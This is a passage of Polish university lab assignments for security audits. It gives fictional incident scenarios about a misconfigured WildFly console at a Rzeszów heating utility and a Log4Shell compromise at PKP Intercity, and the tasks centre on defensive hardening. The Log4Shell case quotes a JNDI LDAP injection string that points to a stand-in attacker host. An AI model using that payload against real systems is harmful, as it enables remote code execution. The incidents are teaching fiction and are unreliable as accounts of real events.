• Czym różni się podejście Secure by Design (Insecure Design) od usuwania podatności implementacyjnych w kodzie i w jaki sposób modelowanie zagrożeń STRIDE na etapie projektowania zapobiega błędom logiki biznesowej?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 8.5).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Architektury Niezawodnościowej (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (Performance vs Consistency: narzut blokad bazy danych na przepustowość transakcyjną w szczytach zakupowych).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A04:2021 Insecure Design.
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V1 Architecture, Design and Threat Modeling, Sekcja V11 Business Logic.
• Payment Card Industry Security Standards Council: "Payment Card Industry Data Security Standard (PCI DSS) Requirements and Testing Procedures v4.0", 2022.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2022/2554 z dnia 14 grudnia 2022 r. w sprawie operacyjnej odporności cyfrowej sektora finansowego (Rozporządzenie DORA).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.25 (Bezpieczny cykl życia rozwoju), A.8.26 (Wymagania bezpieczeństwa aplikacji), A.8.27 (Inżynieria bezpiecznych systemów).
• Ustawa z dnia 30 maja 2014 r. o prawach konsumenta (Dz.U. z 2020 r. poz. 287 z późn. zm.).
• Kodeks Cywilny (Dz.U. z 1964 r. nr 16 poz. 93 z późn. zm.) - przepisy o zawarciu umowy i odpowiedzialności kontraktowej.
• Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 286 (Oszustwo).

• U2 Bezbłędna dekompozycja uchybień w logice biznesowej w modelu 4C i przeprowadzenie analizy 5 Why w środowisku e-commerce.
• U1 Projekt architektury transakcyjnej z blokadami pesymistycznymi, kluczami idempotencyjności i kryptografią webhooków.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość PCI DSS v4.0, DORA, normy ISO 27001 i metodyki STRIDE.
• K1K2K3 Profesjonalizm audytorski, umiejętność obrony rygorów bezpieczeństwa przed presją sprzedażową i etyka biznesowa.

Podczas wystąpienia przed komisją zaprezentujcie animację lub schemat klatek czasowych ilustrujący powstawanie wyścigu zasobów (TOCTOU) w milisekundowych odstępach, a następnie wykażcie, w jaki sposób klucz idempotencyjności w Redis oraz blokada `FOR UPDATE` w PostgreSQL całkowicie serializują dostęp i eliminują podatność.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce rygorystycznego audytu błędnej konfiguracji zabezpieczeń (kategoria OWASP Top 10:2021 - A05:2021 Security Misconfiguration) w infrastrukturze teleinformatycznej przedsiębiorstwa ciepłowniczego o statusie Operatora Usługi Kluczowej (OUK) w rozumieniu Ustawy o KSC oraz Podmiotu Kluczowego w myśl Dyrektywy NIS2. Audyt obejmuje zintegrowany portal obsługi klientów 'e-BOK' połączony przez korporacyjną szynę danych (ESB) z bramą webową telemetrii i dyspozycji mocy sieci ciepłowniczej (Web-HMI / SCADA). W toku badania ujawniono szereg rażących podatności konfiguracyjnych: aktywną konsolę administracyjną serwera aplikacji WildFly z domyślnymi poświadczeniami ('admin'/'admin') wystawioną bezpośrednio do publicznej sieci Internet, włączony tryb debugowania (Stack Traces ujawniające wewnętrzne adresy IP sieci przemysłowej OT oraz hasła do bazy danych telemetrii), skrajnie permisywną politykę Cross-Origin Resource Sharing (CORS: nagłówek `Access-Control-Allow-Origin: *` w połączeniu z `Access-Control-Allow-Credentials: true`) oraz całkowity brak nagłówków ochronnych (Content-Security-Policy, X-Frame-Options, HSTS). Intruzi, wykorzystując przejętą konsolę serwera, uzyskali dostęp do strefy sterowania przemysłowego (Purdue Model Poziom 3) i podjęli próbę zdalnego przestawienia parametrów hydraulicznych i zaworów mieszających głównej magistrali ciepłowniczej miasta w warunkach fali mrozów (-18 stopni Celsjusza). Zadanie wymaga dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją CVSS v3.1 (9.4 Critical) oraz parametrami ciągłości działania BCM (RTO=15m, RPO=0s, MTPD=45m), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI/KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) definiującego twarde wytyczne utwardzania (Hardening Standard) wg CIS Benchmark i normy PN-EN IEC 62443 oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Zarządu MPEC i Wojewódzkiego Zespołu Zarządzania Kryzysowego.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość rygorów bezpieczeństwa infrastruktury krytycznej, przepisów Ustawy o krajowym systemie cyberbezpieczeństwa (KSC), Dyrektywy NIS2 (art. 21), Prawa energetycznego oraz odpowiedzialności karnej z art. 160 KK (sprowadzenie niebezpieczeństwa powszechnego dla życia i zdrowia mieszkańców miasta).
• W2W3 Rygorystyczna korelacja wymagań normy PN-EN IEC 62443 (części 3-3 i 4-2 dotyczące bezpieczeństwa systemów automatyki i interfejsów HMI), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.9 Zarządzanie konfiguracją, A.8.20 Bezpieczeństwo sieci, A.8.22 Segregacja w sieciach), standardu OWASP ASVS v4.0.3 L3 (Sekcja V14 Konfiguracja Bezpieczeństwa) oraz zaleceń CIS Benchmarks dla serwerów WWW.
• U1 Opracowanie zaleceń inżynierskich utwardzania serwerów aplikacji WWW, automatyzacji nadzoru konfiguracyjnego (Configuration-as-Code z Ansible/Terraform), wdrożenia restrykcyjnych polityk CSP, izolacji stref sieciowych IT/OT za pomocą diody danych i zapór przemysłowych nowej generacji (NGFW).
• U2 Bezbłędna kwalifikacja uchybienia konfiguracyjnego w modelu 4C z precyzyjnym powołaniem norm i ustaw.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów paraliżu miejskiej sieci ciepłowniczej, zamarznięcia instalacji w szpitalach i wycieku bazy klientów (IR=25, CVSS=9.4, korelacja z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Profesjonalizm audytorski, bezkompromisowość w ochronie bezpieczeństwa mieszkańców, wysoka odporność na stres w warunkach zagrożenia kryzysowego i etyka inżynierska.
• Powiązanie z wykładem: Wyk1 (Audyt w infrastrukturze krytycznej i OUK), Wyk3 (Kontrole A.8.9 i A.8.20 ISO 27001), Wyk4 (KSC, NIS2 i IEC 62443), Wyk5 (Matryca ryzyka 5x5 i parametry BCM), Wyk6 (Inspekcja konfiguracji serwerów WWW i SCADA Web), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

Miejskie Przedsiębiorstwo Energetyki Cieplnej w Rzeszowie zaopatruje w ciepło systemowe i ciepłą wodę użytkową ponad 190 000 mieszkańców miasta, w tym 4 szpitale kliniczne, jednostki wojskowe, zakłady przemysłowe oraz ponad 1 200 budynków wielorodzinnych. W ramach programu cyfryzacji usług MPEC uruchomił portal klienta 'e-BOK', który umożliwia odbiorcom podgląd faktur, zgłaszanie awarii oraz odczyt telemetrii z węzłów cieplnych w czasie rzeczywistym.

Stan faktyczny w obszarze konfiguracji bezpieczeństwa i incydentu przemysłowego:

• W architekturze systemu portal e-BOK został wdrożony na serwerze aplikacji WildFly (JBoss) w środowisku Linux. W celu ułatwienia pracy zdalnej zewnętrznemu wykonawcy, konsola administracyjna WildFly Management Console (`https://ebok.mpec.rzeszow.pl:9990`) została wystawiona bezpośrednio do sieci Internet bez ograniczeń adresacji IP, z zachowaniem domyślnego konta administracyjnego `admin` i hasła `admin`.
• W plikach konfiguracyjnych serwera (`standalone.xml`) parametr `development-mode` był ustawiony na `true`. W efekcie jakiekolwiek błędne zapytanie HTTP generowało szczegółowy zrzut stosu (Java Stack Trace) ujawniający wersje bibliotek, ścieżki systemowe, wewnętrzne adresy IP podsieci dyspozytorni SCADA (`10.150.4.0/24`) oraz jawny ciąg połączeniowy JDBC zawierający login i hasło do bazy danych telemetrii ciepłowniczej.
• Konfiguracja nagłówków odpowiedzi HTTP serwera NGINX (pełniącego rolę Reverse Proxy) zawierała nagłówek CORS: `Access-Control-Allow-Origin: *` z jednoczesnym ustawieniem `Access-Control-Allow-Credentials: true` (konfiguracja rażąco błędna i niebezpieczna). Ponadto całkowicie pominięto wdrożenie nagłówków bezpieczeństwa: Content-Security-Policy (CSP), Strict-Transport-Security (HSTS), X-Frame-Options (podatność na Clickjacking) oraz Permissions-Policy.
• W trakcie fali mrozów (-18 stopni Celsjusza w nocy) intruzi, wykorzystując skanery Shodan/Censys, zidentyfikowali otwartą konsolę WildFly, zalogowali się domyślnymi poświadczeniami i wdrożyli złośliwą aplikację w formacie `.war` (Web Shell), uzyskując uprawnienia użytkownika `root` w systemie operacyjnym.
• Następnie, wykorzystując pozyskane poświadczenia JDBC i dostęp sieciowy, intruzi połączyli się z bramą webową Web-HMI dyspozytorni mocy i rozpoczęli manipulację parametrami pracy stacji wymienników ciepła, wymuszając skokowy wzrost ciśnienia w magistrali przesyłowej i awaryjne odcięcie dostaw ciepła dla dwóch dzielnic mieszkaniowych (40 000 mieszkańców i Szpital Wojewódzki). Przedsiębiorstwo stanęło w obliczu katastrofy komunalnej, zamarznięcia instalacji grzewczych oraz konieczności ewakuacji pacjentów szpitala. Awaria została powstrzymana w ostatniej chwili poprzez ręczne odcięcie zasilania serwerów przez dyżurnego inżyniera dyspozytorni.

Prezes Zarządu MPEC oraz Prezydent Miasta, powiadamiając Rządowe Centrum Bezpieczeństwa (RCB) i CSIRT NASK, powołują Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z KSC i Ochrona Infrastruktury Krytycznej): Odpowiada za ład prawno-regulacyjny, zgodność z Ustawą o KSC, Dyrektywą NIS2, normą PN-EN IEC 62443, procedurami reagowania kryzysowego RCB, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Zarządu i Prezydenta Miasta.

  Student B (Technical SecOps Auditor / Architekt Bezpieczeństwa Serwerów i SCADA): Dokonuje dekonstrukcji błędnej konfiguracji WildFly, bada nagłówki HTTP, podatności CORS, zrzuty stosu, projektuje twarde reguły Hardeningu serwerów WWW/Reverse Proxy wg CIS Benchmark, politykę CSP, separację stref Purdue Model za pomocą zapór NGFW oraz wdrożenie Configuration-as-Code z Ansible.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.4 Critical) i BCM (RTO=15m, RPO=0s, MTPD=45m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Konfiguracji Bezpieczeństwa (Hardening Standard) Serwerów Aplikacyjnych i Bramek Telemetrii MPEC w Rzeszowie" z numerowanymi artykułami:

  • § 1 Cel i zakres standardu (ochrona ciągłości dostaw ciepła i zgodność z KSC/NIS2).
  • § 2 Zasady publikacji interfejsów administracyjnych (zakaz wystawiania konsoli do Internetu, wymóg VPN i MFA).
  • § 3 Obligatoryjne nagłówki bezpieczeństwa HTTP i polityka CORS (parametry CSP, HSTS, X-Frame-Options).
  • § 4 Zakaz pracy w trybie diagnostycznym (bezwzględna blokada debug mode na środowiskach produkcyjnych).
  • § 5 Zasady separacji stref IT i OT wg modelu Purdue i normy IEC 62443.
  • § 6 Procedura cyklicznego audytu konfiguracyjnego narzędziami OpenSCAP i odpowiedzialność dyscyplinarna.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Zarządu MPEC i Prezydenta Miasta: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), zażegnanie groźby paraliżu grzewczego miasta, wyeliminowanie ryzyka sankcji z KSC/NIS2 (do 10 mln EUR) oraz odpowiedzialności karnej z art. 160 KK, kosztorys CAP (340 000 PLN na NGFW, Ansible i wdrożenie SOC) oraz stopa zwrotu z inwestycji (ROSI: ochrona infrastruktury wartej setki milionów złotych).

Plan obrony seminaryjnej przed komisją laboratoryjną (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu i Prezydenta (3 min): Przedstawienie skali incydentu na magistrali ciepłowniczej, ekspozycji na katastrofę komunalną i kary regulacyjne oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna podatności konfiguracyjnych serwera i SCADA (4 min): Prezentacja konsoli WildFly, analiza zrzutów stosu z ujawnionymi hasłami JDBC, demonstracja błędów nagłówków CORS i braków CSP oraz wektora przejęcia sterowania węzłem (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z KSC, Dyrektywą NIS2, normą IEC 62443 i art. 160 KK oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie wytycznych CIS Benchmark, zapory przemysłowej NGFW, automatyzacji Ansible i skanera OpenSCAP (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania dotyczące specyfiki separacji IT/OT i kompromisów operacyjnych (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Syntetyczny bilans ryzyk konfiguracyjnych w infrastrukturze krytycznej (IR vs RR).
• Skutki prawne i operacyjne incydentu na sieci ciepłowniczej.
• Budżet Planu CAP (340 000 PLN) vs ROSI.

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

• W jaki sposób błędna konfiguracja nagłówków CORS (np. zezwolenie na dowolne źródła pochodzenia przy jednoczesnym włączeniu przesyłania poświadczeń) umożliwia przeprowadzenie zaawansowanych ataków typu Cross-Origin Data Theft w systemach przemysłowych i e-administracji?
• Jakie są kluczowe wymagania normy PN-EN IEC 62443 dotyczące separacji stref (Zones and Conduits) pomiędzy publicznie dostępnymi portalami internetowymi (IT) a sterownikami PLC i dyspozytorniami Web-HMI (OT)?
• W jaki sposób technologia Configuration-as-Code (narzędzia Ansible, Terraform) w połączeniu ze skanerami OpenSCAP zapobiega zjawisku degradacji konfiguracji bezpieczeństwa (Configuration Drift) w środowiskach o wysokim reżimie dostępności?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.4).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Konfiguracji Bezpieczeństwa (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (bezpieczeństwo vs elastyczność operacyjna serwisantów w warunkach awarii zimowych).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A05:2021 Security Misconfiguration.
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V14 Configuration Verification Requirements.
• Norma PN-EN IEC 62443-3-3:2019: Bezpieczeństwo systemów automatyki i sterowania przemysłowego - Wymagania systemowe bezpieczeństwa i poziomy bezpieczeństwa.
• Center for Internet Security (CIS): "CIS Benchmarks for NGINX and Linux Server Hardening", 2023.
• Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz.U. z 2023 r. poz. 913 z późn. zm.).
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.9 (Zarządzanie konfiguracją), A.8.20 (Bezpieczeństwo sieci), A.8.22 (Segregacja w sieciach).
• Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 160 (Narażenie na niebezpieczeństwo utraty życia lub ciężkiego uszczerbku na zdrowiu).

• U2 Bezbłędna dekompozycja uchybień konfiguracyjnych w modelu 4C i przeprowadzenie analizy 5 Why w infrastrukturze krytycznej.
• U1 Projekt zintegrowanego standardu utwardzania serwerów (Hardening), automatyzacji Ansible i separacji IT/OT wg IEC 62443.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość ustawy o KSC, Dyrektywy NIS2, normy IEC 62443, normy ISO 27001 i zaleceń CIS Benchmarks.
• K1K2K3 Obiektywizm, niezależność audytorska, dbałość o bezpieczeństwo publiczne i wysoka kultura inżynierska.

Podczas obrony referatu przedstawcie komisji architekturę modelu Purdue przed audytem (błędne połączenie IT z OT) oraz po wdrożeniu Planu CAP z zastosowaniem zapory przemysłowej NGFW i strefy DMZ. Wykażcie, że usunięcie domyślnych haseł i wyłączenie trybu debugowania to elementarna higiena cyfrowa, która zapobiega wielomilionowym katastrofom.

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce zaawansowanego audytu zarządzania podatnymi i przestarzałymi komponentami oprogramowania oraz bezpieczeństwa łańcucha dostaw oprogramowania (kategoria OWASP Top 10:2021 - A06:2021 Vulnerable and Outdated Components) w ogólnopolskim systemie sprzedaży i rezerwacji biletów kolejowych 'e-IC 2.0'. Podmiot stanowi element infrastruktury krytycznej państwa oraz operatora usług kluczowych w rozumieniu Ustawy o KSC, Dyrektywy NIS2 oraz Dyrektywy CER (odporność podmiotów krytycznych). Audyt koncentruje się na mikroserwisie generowania biletów elektronicznych i faktur PDF, w którym zidentyfikowano obecność niezałatanych, powszechnie znanych podatności zdalnego wykonania kodu (Remote Code Execution - RCE): luki Log4Shell (CVE-2021-44228 w bibliotece Apache Log4j) oraz luki Spring4Shell (CVE-2022-22965 w module Spring Core). Wykorzystując wstrzyknięcie payloadu JNDI LDAP w polu nagłówka HTTP `User-Agent` aplikacji mobilnej, intruzi zdołali wykonać nieautoryzowany kod na serwerach aplikacyjnych w klastrze Kubernetes, uzyskać dostęp do bazy danych transakcji pasażerskich, zainstalować oprogramowanie typu Cryptominer oraz backdoory sieciowe, co wywołało przeciążenie zasobów procesora i paraliż sprzedaży biletów na 3 dni przed długim weekendem majowym. W toku audytu stwierdzono całkowity brak ewidencji bibliotek open source (brak formatu Software Bill of Materials - SBOM) oraz brak skanerów SCA w potokach wdrożeniowych. Zadanie wymaga dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 skorelowanej ze wskaźnikami CVSS v3.1 (10.0 Critical) oraz BCM (RTO=10m, RPO=0s, MTPD=30m), skonstruowania Trójfazowego Planu CAP ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) regulującego standardy zarządzania SBOM CycloneDX, skanowania SCA/DAST i automatyzacji bramek w potoku CI/CD wg frameworku SLSA Level 3 oraz przygotowania Podsumowania Zarządczego (Pitch to Board) dla Zarządu PKP Intercity i Urzędu Transportu Kolejowego (UTK).

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

• W1 Zaawansowana znajomość rygorów bezpieczeństwa transportu kolejowego, przepisów Ustawy o KSC, Dyrektywy NIS2 (art. 21 ust. 2 lit. d - bezpieczeństwo łańcucha dostaw), Dyrektywy CER, Cyber Resilience Act (CRA) oraz odpowiedzialności odszkodowawczej za paraliż transportu publicznego.
• W2W3 Biegłość w stosowaniu standardów OWASP Top 10:2021 (A06), OWASP ASVS v4.0.3 L3 (Sekcja V13 Komponenty Zewnętrzne), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.8 Zarządzanie podatnościami technicznymi, A.5.19-A.5.21 Bezpieczeństwo w łańcuchu dostaw ICT), formatu SBOM CycloneDX oraz frameworku Supply-chain Levels for Software Artifacts (SLSA v1.0).
• U1 Opracowanie zaleceń inżynierskich zautomatyzowanego generowania SBOM, integracji narzędzi Software Composition Analysis (Snyk/Trivy/Dependabot) w potoku GitLab CI/CD, podpisywania kontenerów za pomocą Cosign/Sigstore oraz bezwzględnego egzekwowania SLA na łatanie luk (krytyczne < 24h).
• U2 Bezbłędna kwalifikacja uchybienia łańcucha dostaw w modelu 4C z precyzyjnym wskazaniem kryteriów normatywnych i prawnych.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów przejęcia serwerów biletowych RCE, kradzieży danych kartowych i paraliżu transportowego (IR=25, CVSS=10.0, korelacja z BCM).
• U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
• K1K2K3 Profesjonalizm audytorski, niezależność w relacjach z dostawcami oprogramowania, odporność na presję zarządu i wysoka kultura inżynierska.
• Powiązanie z wykładem: Wyk1 (Audyt w transporcie i infrastrukturze krytycznej), Wyk3 (Kontrole A.8.8 i A.5.19-A.5.21 ISO 27001), Wyk4 (NIS2, CER i Cyber Resilience Act), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Inspekcja bibliotek, logów JNDI i potoków CI/CD), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).

PKP Intercity S.A. jest narodowym przewoźnikiem pasażerskim realizującym rocznie ponad 68 milionów podróży dalekobieżnych. Kluczowym kanałem przychodowym spółki jest system internetowej sprzedaży biletów 'e-IC 2.0' oraz powiązana aplikacja mobilna, które w okresach szczytowych procesują ponad 180 transakcji na sekundę i generują ponad 2,8 mld PLN wpływów rocznie.

Stan faktyczny w obszarze zarządzania komponentami zewnętrznymi i incydentu RCE:

• Architektura systemu e-IC 2.0 opiera się na mikrousługach uruchomionych w środowisku Kubernetes (klaster Red Hat OpenShift). Wśród nich mikroserwis `ticket-generator-service` odpowiada za asynchroniczne tworzenie biletów z kodami Aztec w formacie PDF oraz wystawianie faktur VAT.
• W trakcie analizy zależności w plikach `pom.xml` mikroserwisu audytorzy stwierdzili obecność archiwalnej wersji biblioteki logowania `org.apache.logging.log4j:log4j-core:2.14.1` (podatnej na krytyczną lukę Log4Shell - CVE-2021-44228) oraz modułu `spring-beans:5.3.17` (podatnego na Spring4Shell - CVE-2022-22965). Obie luki posiadały maksymalną notę zagrożenia CVSS 10.0 i były powszechnie znane od ponad 2 lat.
• Zewnętrzny wykonawca oprogramowania, z którym spółka zawarła umowę utrzymaniową, nie wdrożył żadnych narzędzi klasy Software Composition Analysis (SCA) w potokach budowania GitLab CI, a spółka nie posiadała ewidencji komponentów w formacie Software Bill of Materials (SBOM). Zgłoszenia o konieczności aktualizacji bibliotek były odrzucane przez kierownika projektu wykonawcy jako "prace optymalizacyjne nieobjęte ryczałtem serwisowym".
• W środę przed długim weekendem majowym zorganizowana grupa cyberprzestępcza przeprowadziła zautomatyzowany skan zasobów PKP. Wstrzyknięcie spreparowanego ciągu JNDI LDAP w nagłówku żądania HTTP: `${jndi:ldap://c2.attacker-infrastructure.net:1389/Exploit}` w polu `User-Agent` aplikacji mobilnej wywołało automatyczne odpytanie serwera atakującego przez bibliotekę Log4j w mikroserwisie biletowym, załadowanie złośliwej klasy Java i natychmiastowe wykonanie kodu wewnątrz kontenera aplikacji z uprawnieniami konta `root`.
• Intruzi dokonali eskalacji uprawnień w klastrze OpenShift, uzyskali dostęp do bazy danych PostgreSQL z historią transakcji pasażerów i zainstalowali skrypty kopiące kryptowalutę Monero na 64 węzłach klastra. Skrajne wysycenie procesorów (100% CPU) doprowadziło do załamania wydajnościowego systemu biletowego, zawieszenia płatności internetowych i paraliżu kas na dworcach kolejowych w całej Polsce na 14 godzin. Spółka poniosła straty szacowane na 18 mln PLN z tytułu utraconych przychodów i odszkodowań, a tysiące pasażerów nie mogło zakupić biletów na wyjazdy świąteczne.

Prezes Zarządu PKP Intercity, w obliczu kontroli Urzędu Transportu Kolejowego (UTK), postępowania wyjaśniającego Ministerstwa Infrastruktury i CSIRT NASK, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z KSC i Odporność Transportu CER): Odpowiada za ład prawno-organizacyjny, zgodność z Dyrektywą NIS2 (art. 21), Dyrektywą CER, przepisami kolejowymi UTK, relacje z CSIRT NASK i Zarządem, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board").

  Student B (Technical SecOps Auditor / Architekt Łańcucha Dostaw DevSecOps): Dokonuje technicznej dekonstrukcji ataku Log4Shell/JNDI, bada pliki pom.xml, obrazy kontenerów, logi OpenShift, projektuje zautomatyzowane generowanie SBOM w formacie CycloneDX, integrację skanerów SCA (Trivy/Snyk) w GitLab CI, podpisywanie artefaktów Cosign oraz mechanizmy wstrzykiwania zmiennych środowiskowych wyłączających JNDI lookup.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (10.0 Critical) i BCM (RTO=10m, RPO=0s, MTPD=30m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Zarządzania Komponentami Zewnętrznymi, SBOM i Bezpieczeństwem Łańcucha Dostaw Oprogramowania PKP Intercity S.A." z numerowanymi artykułami:

  • § 1 Cel i zakres standardu (zapewnienie ciągłości transportu kolejowego i zgodności z NIS2/CER).
  • § 2 Obowiązek generowania i ewidencji dokumentów SBOM CycloneDX dla każdego systemu cyfrowego.
  • § 3 Zasady automatycznego skanowania SCA w potokach CI/CD i kryteria bramek jakościowych (Quality Gates).
  • § 4 Standardy podpisywania i nienaruszalności kontenerów wg frameworku SLSA Level 3.
  • § 5 Matryca SLA i czasy reakcji na podatności techniczne (krytyczne do 24h, wysokie do 7 dni).
  • § 6 Kary umowne i sankcje za dostarczanie oprogramowania z podatnymi komponentami zewnętrznymi.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Zarządu PKP Intercity i UTK: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), rozliczenie strat 18 mln PLN, ochrona przychodów rocznych 2,8 mld PLN, wyeliminowanie sankcji KSC/NIS2 (do 10 mln EUR), kosztorys CAP (410 000 PLN na narzędzia SCA, SLSA i wdrożenie OIDC) oraz stopa zwrotu z inwestycji (ROSI).

Plan prezentacji seminaryjnej przed komisją (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu i UTK (3 min): Przedstawienie skali paraliżu biletowego przed majówką, ekspozycji prawnej i bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
